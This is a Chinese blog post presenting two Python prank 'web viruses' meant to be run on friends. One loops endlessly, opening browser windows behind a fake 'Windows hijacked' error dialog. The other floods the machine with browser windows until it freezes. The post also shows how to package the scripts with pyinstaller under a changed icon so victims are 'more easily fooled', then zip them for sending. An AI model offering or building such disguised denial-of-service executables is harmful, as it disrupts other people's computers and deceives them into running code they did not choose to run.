Hello everyone,今天阿亮给大家康康两种网页病毒。这次代码真的只需要亿点点哦~~(拿去恶搞基友吧!)
第一种
我们先进入第一种,这个的威力没有你们想象的那么大,我们来看下方:
<span style="padding-right: 0.1px;" role="presentation"><span style="color: #c792ea !important;">import</span> <span style="color: #f07178 !important;">webbrowser</span></span>
<span style="padding-right: 0.1px;" role="presentation"><span style="color: #c792ea !important;">import</span> <span style="color: #f07178 !important;">tkinter</span>.<span style="color: #c792ea !important;">messagebox</span></span>
<span style="padding-right: 0.1px;" role="presentation"><span style="color: #c792ea !important;">while</span> <span style="color: #ff5370 !important;">1</span>:</span>
<span style="padding-right: 0.1px;" role="presentation"> <span style="color: #f07178 !important;">webbrowser</span>.<span style="color: #c792ea !important;">open</span>(<span style="color: #c3e88d !important;">"baidu.com"</span>)</span>
<span style="padding-right: 0.1px;" role="presentation"> <span style="color: #f07178 !important;">tkinter</span>.<span style="color: #c792ea !important;">messagebox</span>.<span style="color: #c792ea !important;">showerror</span>(<span style="color: #c3e88d !important;">'Windows错误'</span>,<span style="color: #c3e88d !important;">'Windows被不明程序劫持,正在尝试自救......'</span>)</span>
解析:
-
import webbrowser: 导入浏览器库
-
import tkinter.messagebox: 导入信息框
-
运行后自动打开浏览器与错误提示框,之后每按一次错误框里的任意键都会开启一个新的IE浏览器界面,网站是百度(网站等等可以自己调)
这是运行后的样子:
没错电脑已经成这样了,但是用任务管理器可以关闭进程qwq。。。。。。(威力不大。。)
第二种(把公屏打在无敌上!!)
威力太大不要轻易尝试!!
<span style="padding-right: 0.1px;" role="presentation"><span style="color: #c792ea !important;">import</span> <span style="color: #f07178 !important;">webbrowser</span></span>
<span style="padding-right: 0.1px;" role="presentation"><span style="color: #c792ea !important;">while</span> <span style="color: #c792ea !important;">True</span>:</span>
<span style="padding-right: 0.1px;" role="presentation"> <span style="color: #f07178 !important;">webbrowser</span>.<span style="color: #c792ea !important;">open</span>(<span style="color: #c3e88d !important;">"2345.com"</span>)</span>
这个应该都能看懂,我在这就不做解析了,反正运行后电脑直接裂开来,电脑就直接卡成PPT。。。观众们可以将他用pyinstaller打包:
<span style="padding-right: 0.1px;" role="presentation"><span style="color: #f07178 !important;">pyinstaller</span> <span style="color: #89ddff !important;">-</span><span style="color: #f07178 !important;">F</span> <span style="color: #89ddff !important;">-</span><span style="color: #f07178 !important;">w</span> <span style="color: #89ddff !important;">-</span><span style="color: #f07178 !important;">i</span> <span style="color: #f07178 !important;">图标路径</span> <span style="color: #f07178 !important;">文件路径</span></span>
这里用 -i 可以通过图标路径更改图标,这样用户就更容易上当。打包完可以压缩一下文件(rar/zip/…)
本文为原创文章,版权归知行编程网所有,欢迎分享本文,转载请保留出处!
内容反馈